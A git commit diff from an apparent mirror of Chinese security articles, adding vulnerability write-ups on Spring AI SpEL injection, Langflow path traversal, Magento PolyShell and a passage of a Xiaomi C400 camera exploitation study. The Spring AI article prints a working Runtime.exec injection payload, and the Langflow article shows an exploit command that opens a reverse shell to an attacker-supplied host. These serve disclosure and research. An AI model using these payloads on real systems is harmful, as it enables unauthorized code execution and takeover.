mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 11:50:50 +00:00
PolyShell高危漏洞可致电商Magento系统遭遇未授权远程代码执行、苹果扩展iOS 18.7.7更新到更多设备以阻止暗剑漏洞、某米C400智能摄像头的逆向分析与漏洞利用、信息安全漏洞周报【第068期】、CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入远程代码执行漏洞、人工智能重要安全漏洞的通报-OpenClaw多个安全漏洞、资产测绘在漏洞挖掘中的应用、CVE-2026-5027 - Langflow 路径遍历导致远程代码执行漏洞 (CVSS 8.8)、
This commit is contained in:
test committed
1 parent
59999581cb
commit
9d560adc7e
9 files changed
+981
-3
No files matched your search
@@ -19564,5 +19564,13 @@
|
||||
"https://mp.weixin.qq.com/s/lAAppfkpz9Kzm9ivM7oVDg": "使用burpsuite插件如何无脑挖的第一个公益漏洞（小白挖洞）",
|
||||
"https://mp.weixin.qq.com/s/f0xTHde1OM6IysrOZDyW9Q": "白帽挖漏洞，看这1篇就够了，12年老司机的经验",
|
||||
"https://mp.weixin.qq.com/s/PQvOEWHzxckHnsLmowzcXg": "人工智能重要安全漏洞的通报-OpenClaw多个安全漏洞",
|
||||
"https://mp.weixin.qq.com/s/wNRCf72FjXkpzxX-TfYEHQ": "【2026最新版】全网最全网络攻防教程（0基础到进阶、漏洞挖掘、CTF比赛、护网行动、就业等等）"
|
||||
"https://mp.weixin.qq.com/s/wNRCf72FjXkpzxX-TfYEHQ": "【2026最新版】全网最全网络攻防教程（0基础到进阶、漏洞挖掘、CTF比赛、护网行动、就业等等）",
|
||||
"https://mp.weixin.qq.com/s/5VSMKCry4KkYYTusIES7CQ": "PolyShell高危漏洞可致电商Magento系统遭遇未授权远程代码执行",
|
||||
"https://mp.weixin.qq.com/s/BWaW2zk5MtJSFOl5KOfOzw": "苹果扩展iOS 18.7.7更新到更多设备以阻止暗剑漏洞",
|
||||
"https://mp.weixin.qq.com/s/5TAxg8bdfSCmsyKxHSkC0Q": "某米C400智能摄像头的逆向分析与漏洞利用",
|
||||
"https://mp.weixin.qq.com/s/e3Alv9ruS5kHS_A0YOjjug": "信息安全漏洞周报【第068期】",
|
||||
"https://mp.weixin.qq.com/s/HKAIN387haD0C39luHujtA": "CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/7Sm4XdD-by4z0ijr4cxcPA": "人工智能重要安全漏洞的通报-OpenClaw多个安全漏洞",
|
||||
"https://mp.weixin.qq.com/s/jClK3tYOWByjt8997ksO2w": "资产测绘在漏洞挖掘中的应用",
|
||||
"https://mp.weixin.qq.com/s/AFRg4pMmVPr4NPkx1LkYjw": "CVE-2026-5027 - Langflow 路径遍历导致远程代码执行漏洞 (CVSS 8.8)"
|
||||
}
|
||||
@@ -0,0 +1,113 @@
|
||||
# CVE-2026-22738 — Spring AI SimpleVectorStore 中的 SpEL 注入远程代码执行漏洞
|
||||
Ots安全 2026-04-03 06:06
|
||||
|
||||
**威胁简报**
|
||||
|
||||
|
||||
**恶意软件**
|
||||
|
||||
|
||||
**漏洞攻击**
|
||||
|
||||
通过 Spring Expression Language (SpEL) 注入进行未经身份验证的远程代码执行SimpleVectorStore.similaritySearch()。
|
||||
|
||||
受影响版本
|
||||
<table><thead><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="box-sizing: border-box;padding: 6px 13px;font-weight: 600;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">Artifact</span></section></th><th data-colwidth="150" style="box-sizing: border-box;padding: 6px 13px;font-weight: 600;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">Vulnerable</span></section></th><th data-colwidth="110" style="box-sizing: border-box;padding: 6px 13px;font-weight: 600;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">Fixed</span></section></th></tr></thead><tbody><tr style="box-sizing: border-box;background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><code style="box-sizing: border-box;font-family: "Monaspace Neon", ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;tab-size: 4;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;margin: 0px;padding: 0.2em 0.4em;"><span leaf="">org.springframework.ai:spring-ai-core</span></code></td><td data-colwidth="150" style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">1.0.0 – 1.0.4</span></section></td><td data-colwidth="110" style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">1.0.5</span></strong></td></tr><tr style="box-sizing: border-box;background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><code style="box-sizing: border-box;font-family: "Monaspace Neon", ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;tab-size: 4;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;margin: 0px;padding: 0.2em 0.4em;"><span leaf="">org.springframework.ai:spring-ai-core</span></code></td><td data-colwidth="150" style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><section><span leaf="">1.1.0-M1 – 1.1.3</span></section></td><td data-colwidth="110" style="box-sizing: border-box;padding: 6px 13px;border-color: rgb(209, 217, 224);border-style: solid;border-width: 1px;border-image: none 100% / 1 / 0 stretch;"><strong style="box-sizing: border-box;font-weight: 600;margin-bottom: 0px;"><span leaf="">1.1.4</span></strong></td></tr></tbody></table>
|
||||
修复提交： ba9220b22383e430d5f801ce8e4fa01cf9e75f29
|
||||
|
||||
漏洞
|
||||
|
||||
SimpleVectorStore.similaritySearch()它会将调用者提供的过滤器键名原封不动地传递给 SpEL 模板，并由该模板进行评估StandardEvaluationContext。由于StandardEvaluationContext它暴露了完整的 JVM 反射 API，攻击者可以注入：
|
||||
|
||||
```
|
||||
T(java.lang.Runtime).getRuntime().exec(...)
|
||||
```
|
||||
|
||||
|
||||
将过滤键添加到实现未经身份验证的操作系统命令执行中。
|
||||
|
||||
绕过详情
|
||||
|
||||
简单的注入方法无法直接生效——必须克服解析器的两个怪癖：
|
||||
1. 单引号剥离——以单引号开头的密钥'被视为带引号的字符串；外部引号将被剥离，从而破坏有效载荷。
|
||||
|
||||
1. 双引号包装器——将有效负载包装在双引号中"..."会导致解析器剥离外部双引号，从而将内部 SpEL 表达式保留为传递给解析器的键值[#metadata]()
|
||||
['<KEY>']。
|
||||
|
||||
1. 空元数据键——[#metadata]()
|
||||
['']在注入表达式的两侧使用（而不是未定义的变量）可以避免unknown variableSpEL 错误，同时仍然触发exec()。
|
||||
|
||||
计算得到的表达式形式如下：
|
||||
|
||||
```
|
||||
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
|
||||
```
|
||||
|
||||
|
||||
成功指标
|
||||
|
||||
HTTP 响应正文将包含EL1030ESpEL 运行时错误：
|
||||
|
||||
```
|
||||
operator ADD not supported between nulland java.lang.ProcessImpl
|
||||
```
|
||||
|
||||
|
||||
此错误在返回后 引发exec()，确认操作系统级命令执行完毕，无需带外回调。
|
||||
|
||||
用法
|
||||
|
||||
先决条件：
|
||||
|
||||
```
|
||||
pip install requests
|
||||
```
|
||||
|
||||
|
||||
运行漏洞利用程序：
|
||||
|
||||
```
|
||||
python3 exploit.py [--target http://localhost:8082] [--wait]
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
| 标志 | 默认值 | 描述 | |---|---|---| | `--target` | `http://localhost:8082` | 易受攻击应用程序的基本 URL | | `--wait` | 关闭 | 轮询直到目标准备就绪（在 `docker compose up` 之后有用） |
|
||||
|
||||
Docker Desktop（macOS/Windows）：host.docker.internal用于回调127.0.0.1有效负载。
|
||||
|
||||
利用步骤
|
||||
|
||||
该概念验证流程包含五个连续步骤：
|
||||
|
||||
1 基线检查——确认端点可达并返回种子数据
|
||||
|
||||
2 盲式SpEL探针——java.version通过读取T(java.lang.System)确认注射点
|
||||
|
||||
3 RCE：touch /tmp/pwned_cve_2026_22738在容器内部
|
||||
|
||||
4 RCE：写入id//uname输出hostname到/tmp/rce_proof.txt
|
||||
|
||||
5 通过docker exec打印校样文件内容进行验证
|
||||
|
||||
项目地址：
|
||||
- https://github.com/n0n4m3x41/CVE-2026-22738-POC
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
|
||||
|
||||
排版 编辑 | Ots 小安
|
||||
|
||||
采集 翻译 | Ots Ai牛马
|
||||
|
||||
公众号 |
|
||||
AnQuan7 (Ots安全)
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# CVE-2026-5027 - Langflow 路径遍历导致远程代码执行漏洞 (CVSS 8.8)
|
||||
Ots安全 2026-04-03 06:06
|
||||
|
||||
**威胁简报**
|
||||
|
||||
|
||||
**恶意软件**
|
||||
|
||||
|
||||
**漏洞攻击**
|
||||
|
||||
描述
|
||||
|
||||
Langflow 1.8.4 及更早版本未对端点filename中的参数进行清理POST /api/v2/files。攻击者可以利用路径遍历序列（../）将文件写入文件系统上的任意位置。结合 Langflow 的默认自动登录配置，无需任何身份验证即可利用此漏洞，从而通过 cron 作业注入以 root 身份执行远程代码。
|
||||
|
||||
受影响版本
|
||||
- 易受攻击版本： Langflow <= 1.8.4
|
||||
|
||||
- 已修复：撰写本文时暂无可用补丁。
|
||||
|
||||
- 默认配置：启用自动登录（未经身份验证的攻击）
|
||||
|
||||
- 咨询： Tenable TRA-2026-26
|
||||
|
||||
用法
|
||||
|
||||
```
|
||||
# Proof of concept (writes test fileto /tmp/)python3 exploit.py -t http://target:7860# With credentials (if auto-login is disabled)python3 exploit.py -t http://target:7860 -u admin -p password# Reverse shell via cron jobpython3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444
|
||||
```
|
||||
|
||||
|
||||
示例输出
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
根本原因
|
||||
|
||||
该upload_user_file()函数直接src/backend/base/langflow/api/v2/files.py将数据传递file.filename给存储服务，而没有进行任何清理。它LocalStorageService.save_file()使用 `.` 构造路径folder_path / file_name，但这并不能阻止目录遍历。
|
||||
|
||||
POC：
|
||||
|
||||
https://github.com/yahiahamza/CVE-2026-5027
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
|
||||
|
||||
排版 编辑 | Ots 小安
|
||||
|
||||
采集 翻译 | Ots Ai牛马
|
||||
|
||||
公众号 |
|
||||
AnQuan7 (Ots安全)
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# PolyShell高危漏洞可致电商Magento系统遭遇未授权远程代码执行
|
||||
胡金鱼
|
||||
胡金鱼 嘶吼专业版 2026-04-03 06:02
|
||||
|
||||
|
||||
|
||||
近期，一则名为“PolyShell”的高危新型漏洞被公开披露，该安全漏洞影响所有Magento开源版与Adobe Commerce 2系列稳定版电商系统，攻击者无需登录身份认证，即可远程执行恶意代码、窃取接管管理员账号权限。
|
||||
|
||||
目前安全监测暂未捕获野外大规模实战挖矿勒索攻击，但Sansec紧急预警：完整漏洞攻击利用链已在地下黑产圈层流通扩散，自动化批量扫描爆破攻击或将很快全面爆发。
|
||||
|
||||
Adobe官方虽已紧急推送安全修复补丁，但该补丁仅内嵌于2.4.9版本第二轮Alpha测试预览版，正式商用生产稳定版暂未迭代更新，全网大量在线运营商城仍处于高危未防护裸奔状态。
|
||||
|
||||
Sansec补充说明，Adobe同步提供简易Web服务器防护配置模板，可大幅限制漏洞攻击危害扩散范围，但绝大多数中小企业商城均直接沿用云主机服务商默认一键建站配置，无自定义加固能力。
|
||||
|
||||
据Sansec发布的分析报告表示：Magento电商平台REST API接口，在处理购物车商品自定义附加选项时，违规开放恶意文件上传高危权限。
|
||||
|
||||
安全研究员拆解攻击原理：“当商品自定义选项设定为‘文件上传’类型时，系统会默认解析内嵌file_info数据包，自动解码Base64加密恶意文件载荷、识别伪造MIME资源类型、读取伪装文件名，最终直接落地写入服务器 pub/media/custom_options/quote/公开可访问目录。”
|
||||
|
||||
本次高危漏洞命名“PolyShell”，核心特征为攻击者上传多格式兼容恶意文件，该文件既可伪装成常规图片绕过安全检测，又能解析执行后台恶意脚本后门。
|
||||
|
||||
漏洞实际危害严重依赖服务器Web环境配置，通杀两大高危攻击链：轻则实现远程代码执行（RCE）接管服务器权限，重则植入存储型XSS恶意脚本劫持管理员后台会话Cookie，一键窃取全站账号权限，Sansec抽样全网监测显示，绝大多数商城默认配置均暴露上传目录高危风险。
|
||||
|
||||
在Adobe正式推送商用生产版安全补丁前，安全研究员建议商城运维管理员立即落地三大临时应急加固防护措施：
|
||||
|
||||
1. 严格限制封禁pub/media/custom_options/目录外网直接访问权限；
|
||||
|
||||
2. 深度核查Nginx/Apache核心防护规则，确认目录拦截策略永久生效；
|
||||
|
||||
3. 全盘深度扫描服务器目录，排查清除已上传恶意网页后门、木马挖矿程序及各类窃听恶意软件。
|
||||
|
||||
参考及来源：
|
||||
https://www.bleepingcomputer.com/news/security/new-polyshell-flaw-allows-unauthenticated-rce-on-magento-e-stores/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# 人工智能重要安全漏洞的通报-OpenClaw多个安全漏洞
|
||||
原创 CNNVD
|
||||
CNNVD CNNVD安全动态 2026-04-03 03:07
|
||||
CNNVD
|
||||
CNNVD CISP 2026-04-03 07:01
|
||||
|
||||
|
||||
|
||||
@@ -40,3 +40,11 @@ CNNVD将继续跟踪上述漏洞的相关情况，及时发布相关信息。如
|
||||
|
||||
|
||||
|
||||
**更多资讯信息**
|
||||
|
||||
**长按二维码关注**
|
||||
|
||||
**注册信息安全专业人员（CISP）官方公众账号**
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# 信息安全漏洞周报【第068期】
|
||||
零零捌信安观察
|
||||
零零捌信安观察 银天信息 2026-04-03 07:43
|
||||
|
||||
零零捌信安观察近期注意到，国家信息安全漏洞共享平台（CNVD）及国家信息安全漏洞库（CNNVD）等权威机构发布了最新的安全公告。经过我们团队的分析和筛查，我们收录了以下被认定为风险的安全漏洞信息。
|
||||
|
||||
目前，相关官方机构已经发布了针对这些安全漏洞的补丁和修复方案。我们建议相关用户和组织及时关注并采取相应的安全措施，以确保信息系统的安全和稳定。
|
||||
|
||||
收录的漏洞详细信息如下：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
****
|
||||
**服务热线****：**
|
||||
|
||||
**400-996-5191**
|
||||
|
||||
|
||||
供稿：邹聪成
|
||||
|
||||
编校：周晶晶
|
||||
|
||||
审核：李孔民
|
||||
|
||||
@@ -0,0 +1,596 @@
|
||||
# 某米C400智能摄像头的逆向分析与漏洞利用
|
||||
原创 骨哥说事
|
||||
骨哥说事 骨哥说事 2026-04-03 05:55
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明：</span></span></strong></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失：https://gugesay.com/
|
||||
|
||||
**不想错过任何消息？设置星标****↓ ↓ ↓**
|
||||
#
|
||||
|
||||
|
||||
|
||||
|
||||
去年夏天，我有机会加入TASZK安全实验室进行暑期实习。我们为这个为期两个月的项目选定的目标是入侵小米（Xiaomi）安全摄像头，具体是一款在市场上非常流行的小米C400智能摄像机，我们手边正好有这台设备。
|
||||
|
||||
我们设定了两个最终目标：
|
||||
- 通过任何无线/LAN接口创建RCE（远程代码执行）利用程序。
|
||||
|
||||
- 利用该利用程序实现完整的“云端越狱（cloud jailbreak）”。
|
||||
|
||||
设定后一个目标的动机在于，我们知道这些设备的运行严重依赖小米智能手机应用和小米云服务器。因此，我们的目标是实现一种设置，使得摄像头在完全不依赖小米账户的情况下也能完全正常工作。
|
||||
|
||||
考虑到时间限制，这个项目更像是一个实战CTF挑战，而非一次全面的安全审查。
|
||||
|
||||
最终，我在小米专有设备设置协议（proprietary device setup protocol）的实现中发现了3个严重漏洞，并利用它们构建出了我们计划中的RCE利用程序以及越狱工具。
|
||||
|
||||
|
||||
|
||||
小米漏洞利用演示
|
||||
|
||||
我们今天披露的这些漏洞已于2025年9月分别报告给小米。相关的安全公告发布在
|
||||
此处
|
||||
、
|
||||
此处
|
||||
和
|
||||
此处
|
||||
。
|
||||
|
||||
感兴趣的各方可以在上述链接的公告中找到关于披露过程以及漏洞修补状态的更多附加信息。我们在此强调，这些漏洞的实际利用需要攻击者物理邻近设备，这限制了其严重性。
|
||||
|
||||
我们也在GitHub上发布了利用程序和越狱工具的完整代码：
|
||||
RCE利用代码
|
||||
、
|
||||
越狱代码
|
||||
。
|
||||
|
||||
(注： GitHub上发布的代码仅用于促进公共研究，且为"照原样"提供。我们不做任何承诺，不提供也不会提供任何支持，请自行承担使用风险，严禁将代码用于任何非法活动。)
|
||||
|
||||
接下来，我将描述研究过程以及创建利用程序和越狱工具的技术细节！
|
||||
## 逆向工程
|
||||
|
||||
一般来说，对此类物联网设备进行逆向工程的第一步是获取其软件，然后剖析它们以提取可执行二进制文件、配置文件等。
|
||||
|
||||
设备上运行的固件可能来自不同来源，最易得的是从制造商服务器下载更新文件（OTA）。同时，也可以通过将实际设备的闪存芯片连接到闪存读取器硬件来直接读取其内容。根据启动加载程序（bootloader）的安全加固程度，U-Boot可能在编译时开启了交互式Shell（shell），这使得转储存储介质变得容易得多。
|
||||
|
||||
有了系统分区的镜像文件后，就可以开始逆向工程中的静态分析部分了！
|
||||
|
||||
大多数情况下，仅靠静态分析是不够的，还需要与运行在真实硬件上的设备进行交互。为了实现诸如重写配置或管理运行服务等目的，Shell访问权限至关重要。安全摄像头——它们本身就是嵌入式设备——通常有用于打印应用程序日志的串口（serial ports）。然而，有些串口也提供了登录Shell！也可能存在Telnet和SSH访问，这些可能被调试标志（debug flag）所限制。
|
||||
|
||||
当逆向工程的系统范围缩小到单个可能存在漏洞的二进制文件时，就需要更高级的调试能力。这可以是一个静态编译的 gdb
|
||||
服务器，部署到安全摄像头上，通过网络进行访问。
|
||||
## 小米C400
|
||||
|
||||
在研究阶段，我要大声感谢我的同事Lorant Szabo的指导和帮助。
|
||||
|
||||
这款摄像机面临的第一个挑战是物理拆解设备：其球罩部分由非常硬的卡扣将两部分固定在一起。
|
||||
|
||||
在其SigmaStar ARMv7 SoC周围的印刷电路板上，有一些可见的测试点（test pads）。通过在相机启动时用万用表测量它们，其中一个似乎像是3.3V信号。将该引脚连接到逻辑分析仪，我们能够确认它确实是一个UART-TX引脚，波特率为115200。然后通过试错法，在同一组引脚中也找到了UART-RX引脚。我们将UART引脚连接到FTDI USB串口适配器，尽管收到了大量的日志信息，但设备似乎忽略从RX接收的任何输入，因此没能通过这种方式获得登录Shell。
|
||||
|
||||
|
||||
|
||||
小米串口连接1
|
||||
|
||||
为了获取设备上运行的实际软件，我们借助一个连接到闪存适配器的SOIC-8夹子以及PC上的flashrom工具，提取了闪存内容。
|
||||
|
||||
|
||||
|
||||
小米串口连接2
|
||||
|
||||
这让我们能够在u-boot环境变量分区中找到Linux内核的启动参数（cmdline）。通过简单干预Linux初始化阶段——将 init=/linuxrc
|
||||
替换为 init=/bin/sh
|
||||
，修正UBOOT-ENV分区的CRC，然后外部写入闪存——我们最终在串口上获得了Shell。
|
||||
## OTA固件
|
||||
|
||||
对于小米设备来说，获取OTA固件很棘手，因为没有支持页面提供可下载的固件文件，也没有公开的固件文件列表。小米设备从小米更新服务器查询更新，并从服务器获取下一个可用的OTA更新URL。
|
||||
|
||||
然而，URL中包含固件版本，存在一些规律。因此，尽管没有完整的设备更新日志，但这仍然可能允许人们通过暴力猜测来获取固件。
|
||||
|
||||
在我们的情况下，如上所述，此时我们已经获得了root shell，因此可以不受OTA固件镜像的限制来满足逆向工程需求。
|
||||
## 系统分区
|
||||
|
||||
进一步分析系统分区，发现了多个squashfs和JFFS2分区，其中在USRFS分区中包含有关趣的服务二进制文件。
|
||||
|
||||
获得Shell后，我们发现自己处于一个标准的、基于
|
||||
Buildroot（
|
||||
https://buildroot.org/
|
||||
）
|
||||
的嵌入式Linux系统中，用户空间使用busybox+uClibc。检查运行进程，我们看到：
|
||||
- hostapd
|
||||
，创建一个我们可以连接的开放Wi-Fi网络。
|
||||
|
||||
- imi_mike
|
||||
、miio_client
|
||||
、mi_daemon
|
||||
：这三个进程包含了摄像头的实际逻辑。
|
||||
|
||||
- imi_mike
|
||||
负责与硬件交互。
|
||||
|
||||
- miio_client
|
||||
拥有一个开放的UDP端口。除了DHCP服务器外，这是设备暴露的唯一可通过网络访问的端口。
|
||||
|
||||
- mi_daemon
|
||||
加载配置并监督前两个进程，在它们崩溃时重启它们。
|
||||
|
||||
- 这三个进程通过Unix套接字和TCP本地回环连接发送JSON进行通信。
|
||||
|
||||
作为唯一直接暴露在网络上（directly exposed to the network）的程序，miio_client
|
||||
是显而易见的攻击面。购买此设备后，您需要使用智能手机应用程序对其进行设置—— miio_client
|
||||
正是该应用程序与之通信的程序。
|
||||
|
||||
分析这些可执行文件的静态分析部分很直接，因为它们就是普通的Linux ARM用户空间二进制文件，在目标设备上进行动态调试也大同小异。
|
||||
## 摄像头-应用通信的逆向工程
|
||||
## miIO协议
|
||||
|
||||
小米在其UDP端口54321上使用他们自己的消息传递协议，名为 miIO
|
||||
。用户首先发送以下hello
|
||||
数据包：
|
||||
|
||||
|
||||
|
||||
miIO协议Hello包
|
||||
|
||||
处于“出厂模式（factory mode）”（即尚未设置）的设备会回复：
|
||||
|
||||
|
||||
|
||||
miIO协议设备回复
|
||||
|
||||
现在手机知道了设备ID、服务器时间戳和令牌（token），它可以发送如下所示的数据包：
|
||||
|
||||
|
||||
|
||||
miIO协议加密包
|
||||
|
||||
有效载荷使用PKCS#7填充到16字节的倍数，然后用AES-128 CBC模式加密，其中 密钥 key = MD5(令牌 token)
|
||||
， 初始化向量 iv = MD5(密钥 key + 令牌 token)
|
||||
。明文通常是JSON。这种加密确保了有效载荷的机密性（confidentiality）。
|
||||
|
||||
校验和（checksum）的计算方法是：首先用令牌填充其字节，然后对整个数据包使用MD5。这意味着校验和充当了消息认证码（MAC, Message Authentication Code），因为计算它需要知道令牌。结合用于防止重放攻击（replay attacks）的时间戳，这个校验和构成了协议的认证机制。
|
||||
## 设置过程
|
||||
|
||||
当摄像头首次从包装盒中取出时，它处于特殊的“出厂”状态。也可以通过按住摄像头背面的按钮10秒钟执行恢复出厂设置，随时重新进入此状态。
|
||||
|
||||
在此状态下，摄像头会运行自己的Wi-Fi接入点，且无需认证。手机可以连接到这个接入点，并使用小米家庭应用来设置设备。
|
||||
|
||||
|
||||
|
||||
|
||||
握手序列图
|
||||
|
||||
设置过程要求手机使用miIO协议向摄像头发送一系列特定的“握手”数据包。摄像头对握手消息（R0
|
||||
）的响应包含一个十六进制编码的令牌。该令牌成为后续密钥生成步骤（K = HKDF(ECDH(s2, p1), 盐 salt)
|
||||
）中使用的salt
|
||||
，如前节描述数据包格式所示。
|
||||
|
||||
一旦序列成功完成（包括最终的HMAC验证步骤），所有后续消息都将包含一个MAC（替换原有的ff
|
||||
或令牌），并且实际有效载荷也会被加密，如上面再次展示的那样。
|
||||
|
||||
默认情况下，完成该序列需要一个随机的、设备特定的设置code
|
||||
。用户需要使用小米家庭应用程序扫描设备底部的二维码获取该code
|
||||
，这需要物理接触设备。另一个选项是允许设备随机生成一个一次性code
|
||||
，它会通过扬声器传达code
|
||||
，正如
|
||||
此
|
||||
教程视频所示。
|
||||
|
||||
这个握手过程不仅验证了手机物理接触摄像头的能力，还允许手机在不暴露code
|
||||
本身的情况下，确认摄像头也知道该设置code
|
||||
。这防止了攻击者冒充摄像头欺骗应用程序或泄露code
|
||||
。椭圆曲线迪菲-赫尔曼密钥交换（Elliptic Curve Diffie-Hellman key exchange）也使得中间人攻击（Man-in-the-Middle attack）无法得逞。
|
||||
## 总结：攻击面
|
||||
|
||||
从以上描述可以看出，miIO
|
||||
协议从密码学角度看设计似乎是合理的，考虑到了中间人攻击的场景，并且所有后续的设置后消息都通过共享密钥保护，其MAC覆盖数据包字段的方式避免了哈希扩展攻击（hash-extension attacks）。这发生在任何其他额外的身份验证可能进一步缩小攻击面之前。
|
||||
|
||||
然而，事实证明，设计者不仅在加密实现上犯错，使设置流程本身可以被绕过，甚至在（初始）数据包处理代码中还留下了一个允许攻击者通过Wi-Fi接口实现完全远程代码执行（RCE, remote code execution）的内存破坏漏洞。
|
||||
## 漏洞
|
||||
## 漏洞 #1：小米 - miIO协议认证绕过
|
||||
|
||||
由于握手序列设计存在缺陷，攻击者可以通过重放（replay）摄像头发送的某些值，在无需知道设置code
|
||||
的情况下完成整个设置流程。这消除了攻击者物理接触设备的必要性。
|
||||
|
||||
|
||||
|
||||
|
||||
被攻陷的握手序列图
|
||||
## 漏洞 #2：小米 - miIO客户端密码学弱伪随机数生成器（cryptographically weak PRNG）
|
||||
|
||||
在握手序列中用于生成密钥对和随机前缀时，摄像头使用了uClibc库默认的加性滞后斐波那契生成器。这不适用于密码学目的。
|
||||
|
||||
平均发送22个数据包后，所有未来的随机数都可以被可靠预测，这导致设置流程中所用密码学原语（cryptographic primitives）的要求失效。
|
||||
|
||||
为了“生成”足够的反射随机性（reflected randomness）来实现此目的，我们可以简单地重新启动握手序列，摄像头将持续发送带有新生成的随机令牌的新R0
|
||||
响应。
|
||||
|
||||
我们在实践中演示此漏洞利用的原理证明PoC可在
|
||||
此处
|
||||
找到。
|
||||
|
||||
回到协议设计，值得问为什么这很重要。一般来说，伪随机数生成器（PRNG）能被轻易攻破绝不是个好兆头，但我们仍然想知道具体影响是什么。
|
||||
|
||||
首先，考虑到基于二维码的code
|
||||
长度为128位，为了试图暴力破解code
|
||||
而攻破伪随机数生成器价值不大。此外，即使我们等到那个序列，我们总是会在收到H2
|
||||
后得到R2
|
||||
，所以如果我们想尝试这种暴力破解（考虑到我们对计算资源现实的认识，这无论如何都将是徒劳无功的），我们也不需要预测除code
|
||||
以外的任何输入。
|
||||
|
||||
另一方面，在使用随机生成code
|
||||
的场景下，该code
|
||||
只有4位数字，因此其熵极低，甚至无需离线暴力破解即可轻易攻破。当然，鉴于设计上允许物理接触设备的人强制重置并强迫摄像头大声说出code
|
||||
，伪随机数生成器的设计缺陷似乎也不是关键问题。
|
||||
|
||||
然而，存在第三种情况，这使得伪随机数生成器问题变得有意义。从序列中我们可以看到，一旦攻击者能够攻破伪随机数生成器，即使它不再冒充小米家庭应用程序，也没有任何东西能阻止它精确计算出后续生成的K
|
||||
值（因为所有的s2
|
||||
、p2
|
||||
、salt
|
||||
都将变得可预测）。
|
||||
|
||||
换句话说，攻击者可以首先执行伪随机数生成器攻击，“离开”并让真正的所有者自行重新进行正确的设置，然后继续窃听miIO
|
||||
接口上的所有通信。其中，包括以明文形式推送到摄像头的Wi-Fi凭据。
|
||||
|
||||
本质上，伪随机数生成器漏洞直接破坏了任何802.11级别的安全措施，并提供了方便的局域网直接访问权限——当然，也为任何潜在的后续攻击铺平了道路。
|
||||
## 漏洞 #3：miIO客户端堆缓冲区溢出
|
||||
|
||||
回顾一下：小米miIO
|
||||
协议的数据包包含一个头部、一个基于MD5的消息认证码和一个AES-128-CBC加密的有效载荷。有效载荷在加密前会填充到16字节的倍数。MAC在加密后计算。
|
||||
|
||||
在验证MAC之后，miio_client
|
||||
二进制文件解密在UDP端口54321上接收到的数据包。AES解密函数并没有拒绝有效载荷大小不能被16整除的数据包，而是包含了专门处理这种情况的代码，这通常不会被触发，因为正常的数据包有效载荷都经过正确填充。
|
||||
```
